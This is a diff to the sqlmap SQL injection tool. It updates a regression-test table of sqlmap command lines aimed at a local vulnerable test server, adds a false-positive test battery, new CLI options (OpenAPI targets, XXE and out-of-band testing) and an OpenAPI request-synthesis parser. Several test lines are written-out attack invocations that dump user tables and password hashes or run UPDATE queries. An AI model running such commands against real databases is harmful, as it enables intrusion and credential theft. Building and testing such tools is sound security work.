("-u <url> --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)),
|
||||
("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||
("-u <url> --flush-session --technique=BU --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||
("-u <base> --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")),
|
||||
("-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
||||
("-u <base> --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
|
||||
("-u <url> --flush-session -H \"id: 1*\" --tables -t <tmpfile>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
||||
("-u <url> --flush-session --banner --invalid-logical --technique=B --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
||||
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")),
|
||||
("-u <base> --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)),
|
||||
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
|
||||
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
|
||||
("-u <url> --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
|
||||
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
|
||||
("-u <url> --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
||||
("-u <url> --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor
|
||||
|
|
@ -97,7 +97,7 @@ def vulnTest():
|
|||
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
|
||||
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
|
||||
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")),
|
||||
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")),
|
||||
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
||||
)
|
||||
|
||||
|
|
@ -263,9 +263,9 @@ def vulnTest():
|
|||
|
||||
clearConsoleLine()
|
||||
if retVal:
|
||||
logger.info("vuln test final result: PASSED")
|
||||
logger.info("%s test final result: PASSED" % label)
|
||||
else:
|
||||
logger.error("vuln test final result: FAILED")
|
||||
logger.error("%s test final result: FAILED" % label)
|
||||
|
||||
for filename in cleanups:
|
||||
try:
|
||||
|
|
@ -280,6 +280,31 @@ def vulnTest():
|
|||
|
||||
return retVal
|
||||
|
||||
def fpTest():
|
||||
"""
|
||||
On-demand false-positive battery ('--fp-test'): a set of deliberately NON-injectable traps that
|
||||
each bait a specific FP defense (boolean confirmation, dynamic-content removal, structure-aware
|
||||
comparison, canary/sanity gate, reflection, error-regex specificity, length and time heuristics),
|
||||
paired with real injectable twins. An A+ engine rejects every trap AND still detects every twin.
|
||||
Kept out of the default '--vuln-test' (CI budget); run explicitly against 'vulnserver'.
|
||||
"""
|
||||
|
||||
FP_TESTS = (
|
||||
# false-positive traps -> sqlmap MUST NOT flag these as injectable
|
||||
("-u \"<base>fp?trap=intcast&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # boolean confirmation / checkFalsePositives
|
||||
("-u \"<base>fp?trap=structrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # structure-aware comparison
|
||||
("-u \"<base>fp?trap=acceptall&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # canary / sanity gate (reads-everything-true)
|
||||
("-u \"<base>fp?trap=reflect&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # reflection handling
|
||||
("-u \"<base>fp?trap=errors&id=1\" -p id --technique=BE --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # error-regex specificity
|
||||
("-u \"<base>fp?trap=lengthrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # length heuristics
|
||||
("-u \"<base>fp?trap=slowrand&id=1\" -p id --technique=T --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # time-based statistical model
|
||||
# true-positive twins -> sqlmap MUST still detect real injection (the discrimination that makes it A+)
|
||||
("-u <url> -p id --technique=B --flush-session", ("identified the following injection point", "Type: boolean-based blind")),
|
||||
("-u \"<url>&json=1\" -p id --technique=B --flush-session", ("identified the following injection point",)),
|
||||
)
|
||||
|
||||
return vulnTest(tests=FP_TESTS, label="fp")
|
||||
|
||||
def apiTest():
|
||||
"""
|
||||
Runs a basic live test of the REST API: launches the server in a separate process
|
||||
|
|
|
|||
|
|
@ -144,6 +144,12 @@ def cmdLineParser(argv=None):
|
|||
target.add_argument("-c", dest="configFile",
|
||||
help="Load options from a configuration INI file")
|
||||
|
||||
target.add_argument("--openapi", dest="openApiFile",
|
||||
help="Derive targets from OpenAPI/Swagger (file/URL)")
|
||||
|
||||
target.add_argument("--openapi-base", dest="openApiBase",
|
||||
help="Base URL for a host-less OpenAPI/Swagger spec")
|
||||
|
||||
# Request options
|
||||
request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
|
||||
|
||||
|
|
@ -153,7 +159,7 @@ def cmdLineParser(argv=None):
|
|||
request.add_argument("-H", "--header", dest="header",
|
||||
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
|
||||
|
||||
request.add_argument("--method", dest="method",
|
||||
request.add_argument("-X", "--method", dest="method",
|
||||
help="Force usage of given HTTP method (e.g. PUT)")
|
||||
|
||||
request.add_argument("--data", dest="data",
|
||||
|
|
@ -312,9 +318,6 @@ def cmdLineParser(argv=None):
|
|||
optimization.add_argument("-o", dest="optimize", action="store_true",
|
||||
help="Turn on all optimization switches")
|
||||
|
||||
optimization.add_argument("--predict-output", dest="predictOutput", action="store_true",
|
||||
help="Predict common queries output")
|
||||
|
||||
# Note: persistent (Keep-Alive) connections are used by default; this opts out
|
||||
optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true",
|
||||
help="Disable persistent HTTP(s) connections (Keep-Alive)")
|
||||
|
|
@ -434,7 +437,7 @@ def cmdLineParser(argv=None):
|
|||
help="Column values to use for UNION query SQL injection")
|
||||
|
||||
techniques.add_argument("--dns-domain", dest="dnsDomain",
|
||||
help="Domain name used for DNS exfiltration attack")
|
||||
help="Domain name used for DNS exfiltration attack (or 'interactsh' for zero-setup OOB)")
|
||||
|
||||
techniques.add_argument("--second-url", dest="secondUrl",
|
||||
help="Resulting page URL searched for second-order response")
|
||||
|
|
@ -523,7 +526,7 @@ def cmdLineParser(argv=None):
|
|||
enumeration.add_argument("-C", dest="col",
|
||||
help="DBMS database table column(s) to enumerate")
|
||||
|
||||
enumeration.add_argument("-X", dest="exclude",
|
||||
enumeration.add_argument("--exclude", dest="exclude",
|
||||
help="DBMS database identifier(s) to not enumerate")
|
||||
|
||||
enumeration.add_argument("-U", dest="user",
|
||||
|
|
@ -784,6 +787,15 @@ def cmdLineParser(argv=None):
|
|||
nonsql.add_argument("--ssti", dest="ssti", action="store_true",
|
||||
help="Test for server-side template injection")
|
||||
|
||||
nonsql.add_argument("--xxe", dest="xxe", action="store_true",
|
||||
help="Test for XML External Entity (XXE) injection")
|
||||
|
||||
nonsql.add_argument("--oob-server", dest="oobServer",
|
||||
help="Out-of-band server for blind '--xxe'")
|
||||
|
||||
nonsql.add_argument("--oob-token", dest="oobToken",
|
||||
help="Authentication token for a self-hosted '--oob-server'")
|
||||
|
||||
# Miscellaneous options
|
||||
miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category")
|
||||
|
||||
|
|
@ -912,6 +924,9 @@ def cmdLineParser(argv=None):
|
|||
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--fp-test", dest="fpTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--api-test", dest="apiTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
|
|
@ -1169,7 +1184,7 @@ def cmdLineParser(argv=None):
|
|||
else:
|
||||
args.stdinPipe = None
|
||||
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
|
||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). "
|
||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||
parser.error(errMsg)
|
||||
|
|
|
|||
|
|
@ -75,6 +75,8 @@ def configFileParser(configFile):
|
|||
except Exception as ex:
|
||||
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
finally:
|
||||
configFP.close()
|
||||
|
||||
if not config.has_section("Target"):
|
||||
errMsg = "missing a mandatory section 'Target' in the configuration file"
|
||||
|
|
|
|||
361
lib/parse/openapi.py
Normal file
361
lib/parse/openapi.py
Normal file
|
|
@ -0,0 +1,361 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import json
|
||||
import re
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves.urllib.parse import quote as _quote
|
||||
|
||||
try:
|
||||
import yaml # optional (only needed for YAML specs)
|
||||
except ImportError:
|
||||
yaml = None
|
||||
|
||||
# Best-effort extraction of concrete request targets from an OpenAPI (v3) / Swagger (v2) document. The
|
||||
# document is treated as a request generator, NOT a contract to validate: for every operation a single
|
||||
# concrete request is synthesized (base URL + filled path + example query/body from the schema) and any
|
||||
# operation that cannot be built is skipped with a warning, so a loose/incomplete spec degrades gracefully.
|
||||
|
||||
MAX_REF_DEPTH = 25
|
||||
|
||||
def _loadSpec(content):
|
||||
try:
|
||||
return json.loads(content)
|
||||
except ValueError:
|
||||
if yaml is None:
|
||||
errMsg = "the provided OpenAPI/Swagger specification is not JSON and the optional "
|
||||
errMsg += "'pyyaml' module (needed for YAML specifications) is not available"
|
||||
raise ValueError(errMsg)
|
||||
try:
|
||||
return yaml.safe_load(content)
|
||||
except Exception as ex:
|
||||
raise ValueError("not valid JSON nor YAML (%s)" % getSafeExString(ex))
|
||||
|
||||
def _resolve(spec, node, seen=None, depth=0):
|
||||
seen = seen or set()
|
||||
if isinstance(node, dict) and "$ref" in node:
|
||||
ref = node["$ref"]
|
||||
if not isinstance(ref, six.string_types): # malformed '$ref' (non-string) -> treat as no ref
|
||||
return {}
|
||||
if ref in seen or depth > MAX_REF_DEPTH:
|
||||
return {}
|
||||
if not ref.startswith("#/"):
|
||||
logger.warning("skipping external OpenAPI $ref '%s'" % ref)
|
||||
return {}
|
||||
seen = seen | set([ref])
|
||||
current = spec
|
||||
for part in ref[2:].split('/'):
|
||||
part = part.replace("~1", "/").replace("~0", "~")
|
||||
if not isinstance(current, dict) or part not in current:
|
||||
logger.warning("skipping dangling OpenAPI $ref '%s'" % ref)
|
||||
return {}
|
||||
current = current[part]
|
||||
return _resolve(spec, current, seen, depth + 1)
|
||||
return node
|
||||
|
||||
EXAMPLE_MAX_DEPTH = 8 # request examples do not need deep nesting; caps runaway synthesis on large specs
|
||||
|
||||
def _example(spec, schema, seen=None, depth=0, cache=None):
|
||||
# 'cache' memoizes the synthesized example per $ref across the whole run - big real-world specs
|
||||
# (Stripe/GitHub/k8s) reuse the same large schemas across thousands of operations, so without this
|
||||
# the extraction is exponential. 'depth' caps recursion for deeply nested / self-referential schemas.
|
||||
seen = seen or set()
|
||||
if cache is None:
|
||||
cache = {}
|
||||
if depth > EXAMPLE_MAX_DEPTH:
|
||||
return "1"
|
||||
ref = schema.get("$ref") if isinstance(schema, dict) else None
|
||||
if not isinstance(ref, six.string_types): # only a string $ref is a valid (hashable) cache key
|
||||
ref = None
|
||||
if ref is not None and ref in cache:
|
||||
return cache[ref]
|
||||
|
||||
schema = _resolve(spec, schema or {}, seen, depth)
|
||||
if not isinstance(schema, dict):
|
||||
return "1"
|
||||
|
||||
value = None
|
||||
if "example" in schema:
|
||||
value = schema["example"]
|
||||
elif "const" in schema: # JSON Schema 2020-12 (OpenAPI 3.1)
|
||||
value = schema["const"]
|
||||
elif "default" in schema:
|
||||
value = schema["default"]
|
||||
elif isinstance(schema.get("examples"), list) and schema["examples"]:
|
||||
value = schema["examples"][0]
|
||||
elif isinstance(schema.get("enum"), list) and schema["enum"]:
|
||||
value = schema["enum"][0]
|
||||
else:
|
||||
combinator = next((_ for _ in ("allOf", "oneOf", "anyOf") if schema.get(_)), None)
|
||||
if combinator:
|
||||
if combinator == "allOf":
|
||||
merged = {}
|
||||
for sub in schema[combinator]:
|
||||
part = _example(spec, sub, seen, depth + 1, cache)
|
||||
if isinstance(part, dict):
|
||||
merged.update(part)
|
||||
value = merged if merged else _example(spec, schema[combinator][0], seen, depth + 1, cache)
|
||||
else:
|
||||
value = _example(spec, schema[combinator][0], seen, depth + 1, cache)
|
||||
else:
|
||||
_type = schema.get("type")
|
||||
if isinstance(_type, list): # OpenAPI 3.1 allows a list of types (e.g. ["string", "null"])
|
||||
_type = next((_ for _ in _type if _ != "null"), None)
|
||||
if _type == "object" or ("properties" in schema and not _type):
|
||||
properties = schema.get("properties")
|
||||
value = dict((name, _example(spec, sub, seen, depth + 1, cache)) for name, sub in (properties if isinstance(properties, dict) else {}).items())
|
||||
elif _type == "array":
|
||||
value = [_example(spec, schema.get("items") or {}, seen, depth + 1, cache)]
|
||||
elif _type in ("integer", "number"):
|
||||
value = 1
|
||||
elif _type == "boolean":
|
||||
value = True
|
||||
elif _type == "string":
|
||||
formats = {"uuid": "11111111-1111-1111-1111-111111111111", "date": "2020-01-01", "date-time": "2020-01-01T00:00:00Z", "email": "a@b.co", "byte": "MQ=="}
|
||||
value = formats.get(schema.get("format"), "1")
|
||||
else:
|
||||
value = "1"
|
||||
|
||||
if ref is not None:
|
||||
cache[ref] = value
|
||||
return value
|
||||
|
||||
def _scalar(value):
|
||||
if isinstance(value, bool):
|
||||
return "true" if value else "false"
|
||||
if isinstance(value, (int, float)):
|
||||
return str(value)
|
||||
if isinstance(value, six.string_types):
|
||||
return value
|
||||
try:
|
||||
return json.dumps(value)
|
||||
except TypeError: # e.g. datetime.date from a YAML 'example: 2020-01-01'
|
||||
return str(value)
|
||||
|
||||
_NO_EXAMPLE = object()
|
||||
|
||||
def _explicitExample(spec, container):
|
||||
# a concrete 'example'/'examples' declared on a parameter or media-type object - preferred over a
|
||||
# schema-synthesized value (real specs carry the canonical, validation-passing sample here). 'examples'
|
||||
# is a map of name -> {"value": ...} (each entry possibly a $ref).
|
||||
if not isinstance(container, dict):
|
||||
return _NO_EXAMPLE
|
||||
if container.get("example") is not None: # 'null' -> treat as absent, fall back to schema synthesis
|
||||
return container["example"]
|
||||
examples = container.get("examples")
|
||||
if isinstance(examples, dict) and examples:
|
||||
first = _resolve(spec, next(iter(examples.values())))
|
||||
if isinstance(first, dict) and first.get("value") is not None:
|
||||
return first["value"]
|
||||
return _NO_EXAMPLE
|
||||
|
||||
def _noMark(text):
|
||||
# strip any custom injection mark already present in a synthesized value so only the intentionally
|
||||
# appended mark (if any) survives (avoids a stray/second injection point)
|
||||
return text.replace(CUSTOM_INJECTION_MARK_CHAR, "")
|
||||
|
||||
def _headerClean(text):
|
||||
# remove characters that can not legally appear in an HTTP header name/value (CR, LF, NUL and other
|
||||
# C0 controls) so a spec-supplied header can not inject extra headers or corrupt the request line
|
||||
return re.sub(r"[\x00-\x1f\x7f]", "", text)
|
||||
|
||||
_HEADER_NAME_RE = re.compile(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z") # RFC 7230 header field-name token (no spaces / ':' / separators)
|
||||
|
||||
def _urlSafe(value, safe=""):
|
||||
# percent-encode a synthesized value/name so it can not break the URL/body structure (spaces, '&',
|
||||
# '=', '/', '?', '#', ...); py2/py3-safe (py2 urllib.quote needs bytes for non-ASCII). 'safe' keeps
|
||||
# selected chars unescaped (e.g. "[]" for deep-object parameter names like filter[status]).
|
||||
try:
|
||||
return _quote(value.encode("utf-8") if isinstance(value, six.text_type) else str(value), safe=safe)
|
||||
except Exception:
|
||||
return value
|
||||
|
||||
def _baseUrl(spec, origin=None, servers=None):
|
||||
# defensive throughout: a hostile/loose spec must not crash here (this runs outside the per-operation
|
||||
# try/except, so an exception would abort the whole extraction). 'servers' overrides the spec-level
|
||||
# 'servers' (used for per-path / per-operation 'servers').
|
||||
basePath = spec.get("basePath") if isinstance(spec.get("basePath"), six.string_types) else ""
|
||||
if basePath and not basePath.startswith("/"): # Swagger v2 basePath is a path -> ensure it is slash-prefixed
|
||||
basePath = "/" + basePath
|
||||
servers = servers if servers is not None else spec.get("servers")
|
||||
if isinstance(servers, list) and servers and isinstance(servers[0], dict):
|
||||
url = servers[0].get("url")
|
||||
url = url if isinstance(url, six.string_types) else ""
|
||||
variables = servers[0].get("variables")
|
||||
if isinstance(variables, dict):
|
||||
for name, meta in variables.items():
|
||||
default = meta.get("default", "1") if isinstance(meta, dict) else "1"
|
||||
url = url.replace("{%s}" % name, str(default))
|
||||
if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # absolute server URL -> used as declared (the host is NOT rewritten to the spec's own origin)
|
||||
return url.rstrip('/')
|
||||
return ((origin.rstrip('/') if origin else "") + "/" + url.lstrip('/')).rstrip('/') # relative server URL -> resolved against origin
|
||||
if spec.get("host"): # Swagger v2 with an explicit host
|
||||
schemes = spec.get("schemes")
|
||||
scheme = schemes[0] if isinstance(schemes, list) and schemes else "https"
|
||||
return "%s://%s%s" % (scheme, spec["host"], basePath.rstrip('/'))
|
||||
return (origin.rstrip('/') if origin else "") + basePath.rstrip('/') # no servers/host -> spec's own origin
|
||||
|
||||
_METHODS = ("get", "post", "put", "delete", "patch", "options", "head")
|
||||
|
||||
def openApiTargets(content, origin=None):
|
||||
"""
|
||||
Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger
|
||||
specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin'
|
||||
(scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers'
|
||||
entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry
|
||||
the custom injection mark so they become testable injection points.
|
||||
"""
|
||||
|
||||
spec = _loadSpec(content)
|
||||
if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"):
|
||||
errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification"
|
||||
raise ValueError(errMsg)
|
||||
|
||||
try:
|
||||
rootBase = _baseUrl(spec, origin)
|
||||
except Exception: # never let base-URL synthesis abort the whole run
|
||||
rootBase = origin.rstrip('/') if isinstance(origin, six.string_types) else ""
|
||||
isV2 = "swagger" in spec and "openapi" not in spec
|
||||
retVal = []
|
||||
cache = {} # $ref -> synthesized example, shared across all operations (large specs reuse schemas)
|
||||
|
||||
for path, item in (spec.get("paths") or {}).items():
|
||||
item = _resolve(spec, item) # a Path Item object may itself be a $ref
|
||||
if not isinstance(item, dict):
|
||||
continue
|
||||
shared = item.get("parameters") or [] # 'or []': a present-but-null 'parameters' must not break concatenation
|
||||
for method, operation in item.items():
|
||||
if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool)
|
||||
continue
|
||||
try:
|
||||
# effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root
|
||||
opServers = operation.get("servers") or item.get("servers")
|
||||
base = rootBase
|
||||
if opServers:
|
||||
try:
|
||||
base = _baseUrl(spec, origin, opServers)
|
||||
except Exception:
|
||||
base = rootBase
|
||||
|
||||
# merge path-level + operation-level parameters, de-duplicated by (in, name); operation wins
|
||||
params, seen = [], {}
|
||||
for raw in ((shared if isinstance(shared, list) else []) + (operation.get("parameters") or [])):
|
||||
resolved = _resolve(spec, raw)
|
||||
if isinstance(resolved, dict) and resolved.get("name"):
|
||||
key = (resolved.get("in"), resolved.get("name"))
|
||||
if key in seen:
|
||||
params[seen[key]] = resolved
|
||||
continue
|
||||
seen[key] = len(params)
|
||||
params.append(resolved)
|
||||
|
||||
urlPath = path if isinstance(path, six.string_types) else str(path)
|
||||
query, headers, form, cookies = [], [], [], []
|
||||
|
||||
for param in params:
|
||||
if not isinstance(param, dict):
|
||||
continue
|
||||
location, name = param.get("in"), param.get("name")
|
||||
if not name:
|
||||
continue
|
||||
if not isinstance(name, six.string_types): # YAML can yield a non-string param name (e.g. 5)
|
||||
name = str(name)
|
||||
explicit = _explicitExample(spec, param) # parameter-level example/examples wins over schema synthesis
|
||||
if explicit is not _NO_EXAMPLE:
|
||||
value = _scalar(explicit)
|
||||
else:
|
||||
schema = param.get("schema") or {"type": param.get("type", "string")}
|
||||
value = _scalar(_example(spec, schema, cache=cache))
|
||||
if location == "path":
|
||||
# mark the filled path segment as a (custom) URI injection point - path parameters are
|
||||
# prime REST injection targets; the value is encoded first so its own chars add no mark
|
||||
urlPath = urlPath.replace("{%s}" % name, _urlSafe(value) + CUSTOM_INJECTION_MARK_CHAR)
|
||||
elif location == "query":
|
||||
# best-effort: array/object query params are scalarized (single value), NOT expanded per
|
||||
# OpenAPI style/explode (repeated keys, comma/space/pipe delimited, deepObject) - the goal
|
||||
# is one testable request per operation, not faithful serialization
|
||||
query.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value)))
|
||||
elif location == "header":
|
||||
# append the custom injection mark so the header value becomes a testable (custom)
|
||||
# injection point (non-exclusive: query/body params are still auto-tested); skip names
|
||||
# that are not valid HTTP field-name tokens
|
||||
headerName = _headerClean(name)
|
||||
if headerName and _HEADER_NAME_RE.match(headerName):
|
||||
headers.append((headerName, "%s%s" % (_headerClean(_noMark(value)), CUSTOM_INJECTION_MARK_CHAR)))
|
||||
elif location == "cookie":
|
||||
# a cookie name is a token; the value must not contain cookie-structure chars ('; ,'
|
||||
# and whitespace) or a spec could smuggle extra cookie pairs
|
||||
cookieName = _headerClean(name)
|
||||
if cookieName and _HEADER_NAME_RE.match(cookieName):
|
||||
cookieValue = re.sub(r"[;,\s]", "", _headerClean(_noMark(value)))
|
||||
cookies.append("%s=%s%s" % (cookieName, cookieValue, CUSTOM_INJECTION_MARK_CHAR))
|
||||
elif location == "formData": # Swagger v2 in:"formData" -> urlencoded body field
|
||||
form.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value)))
|
||||
|
||||
if cookies: # aggregate all cookie params into a single Cookie header
|
||||
headers.append((HTTP_HEADER.COOKIE, "; ".join(cookies)))
|
||||
|
||||
urlPath = urlPath.replace(" ", "%20").replace("?", "%3F").replace("#", "%23") # keep a literal path key from breaking the URL (filled values are already encoded)
|
||||
if urlPath and not urlPath.startswith("/"): # OpenAPI path keys start with '/'; harden a loose spec so base+path is not glued (/v1pets)
|
||||
urlPath = "/" + urlPath
|
||||
|
||||
url = base + urlPath
|
||||
if query:
|
||||
url += "?" + "&".join(query)
|
||||
|
||||
url = re.sub(r"\{[^}]+\}", "1", url) # any leftover template var (undefined path OR server variable) -> "1"
|
||||
|
||||
if not re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # no scheme/host -> unscannable relative URL
|
||||
logger.warning("skipping OpenAPI operation '%s %s' (unable to resolve an absolute target URL; provide the specification by URL or add a 'servers'/'host' entry)" % (str(method).upper(), path))
|
||||
continue
|
||||
|
||||
data = None
|
||||
body = _resolve(spec, operation.get("requestBody") or {})
|
||||
content_ = body.get("content") if isinstance(body, dict) else None
|
||||
if isinstance(content_, dict) and content_:
|
||||
mediaTypes = [_ for _ in content_ if isinstance(_, six.string_types)] # media-type keys must be strings
|
||||
picked = next((_ for _ in mediaTypes if _ == "application/json" or _.endswith("+json") or "json" in _), None) \
|
||||
or ("application/x-www-form-urlencoded" if "application/x-www-form-urlencoded" in mediaTypes else None) \
|
||||
or (mediaTypes[0] if mediaTypes else None)
|
||||
if picked:
|
||||
mediaType = content_[picked] if isinstance(content_[picked], dict) else {}
|
||||
example = _explicitExample(spec, mediaType) # media-type-level example/examples wins over schema synthesis
|
||||
if example is _NO_EXAMPLE:
|
||||
example = _example(spec, mediaType.get("schema") or {}, cache=cache)
|
||||
if "json" in picked:
|
||||
data = _noMark(json.dumps(example, default=str))
|
||||
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json"))
|
||||
elif picked == "application/x-www-form-urlencoded" and isinstance(example, dict):
|
||||
data = "&".join("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(_scalar(value))) for name, value in example.items())
|
||||
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded"))
|
||||
elif isinstance(example, six.string_types):
|
||||
# raw (text / xml / ...) body -> mark it so the whole body becomes a testable point
|
||||
data = _noMark(example) + CUSTOM_INJECTION_MARK_CHAR
|
||||
headers.append((HTTP_HEADER.CONTENT_TYPE, picked))
|
||||
else: # e.g. multipart/form-data or a structured non-JSON body (no safe serialization)
|
||||
logger.debug("not synthesizing a '%s' request body for '%s %s'" % (picked, str(method).upper(), path))
|
||||
elif isinstance(operation.get("parameters"), list) or isV2:
|
||||
for param in params: # Swagger v2 in:"body"
|
||||
if isinstance(param, dict) and param.get("in") == "body":
|
||||
example = _example(spec, param.get("schema") or {}, cache=cache)
|
||||
data = _noMark(json.dumps(example, default=str))
|
||||
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json"))
|
||||
|
||||
if data is None and form: # Swagger v2 in:"formData" fields -> urlencoded body
|
||||
data = "&".join(form)
|
||||
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded"))
|
||||
|
||||
retVal.append((url, str(method).upper(), data, headers or None))
|
||||
except Exception as ex:
|
||||
logger.warning("skipping OpenAPI operation '%s %s' (%s)" % (str(method).upper(), path, getSafeExString(ex)))
|
||||
|
||||
return retVal
|
||||
|
|
@ -57,7 +57,7 @@ from lib.parse.html import htmlParser
|
|||
from thirdparty import six
|
||||
from thirdparty.chardet import detect
|
||||
